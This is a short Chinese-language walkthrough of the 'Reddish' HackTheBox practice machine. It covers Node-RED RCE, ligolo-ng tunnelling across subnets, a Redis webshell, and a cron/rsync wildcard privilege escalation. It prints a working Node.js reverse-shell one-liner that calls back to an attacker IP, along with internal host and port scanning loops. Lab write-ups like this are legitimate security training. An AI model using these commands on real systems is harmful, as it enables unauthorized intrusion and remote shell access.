CPTS-Reddish
这个机器可以练习多子网的隧道搭建,推荐使用ligolo-ng
来源:0xdf(https://0xdfimages.gitlab.io/img/reddish-network_map-3.webp)
枚举和利用
端口扫描
访问端口
发现是node-red,google,发现可能存在rce
利用exp
https://gist.github.com/qkaiser/79459c3cb5ea6e658701c7d203a8c297#file-noderedsh-py
node -e 'var net=require("net"),cp=require("child_process");var c=new net.Socket();c.connect(1880,"10.10.14.17",function(){var sh=cp.spawn("/bin/sh",[]);c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});'
得到shell
然后隧道搭建和子网ip扫描
for i in $(seq 1 10); do ping -c 1 "172.19.0.$i" | grep from; done
ligolo-ng隧道搭建
常见端口扫描
for host in 1 2 3 4; do for port in 21 22 25 80 443 8080; do echo 172.19.0.$host:$port & openssl s_client -connect 172.19.0.$host:$port 2> /dev/null | grep CONNECTED; done; done
发现172.19.0.2 80端口开启
接着扫描172.19.0.3,发现redis
尝试写入webshell
成功
反弹一个shell
成功拿到一个shell
上传inpeas枚举
发现cron任务backup,查看
发现可以利用rsync通配符(https://book.hacktricks.wiki/zh/linux-hardening/privilege-escalation/wildcards-spare-tricks.html#rsync)
利用,写入一个反向shell脚本,利用cron任务执行
成功拿到shell
然后开始枚举和隧道搭建172.20.0.0/24子网
写入,
拿下一个shell
得到shell
枚举/dev目录
尝试挂载sda1-5
进入sda2
拿到root.txt
user.txt在www的/home/somaro中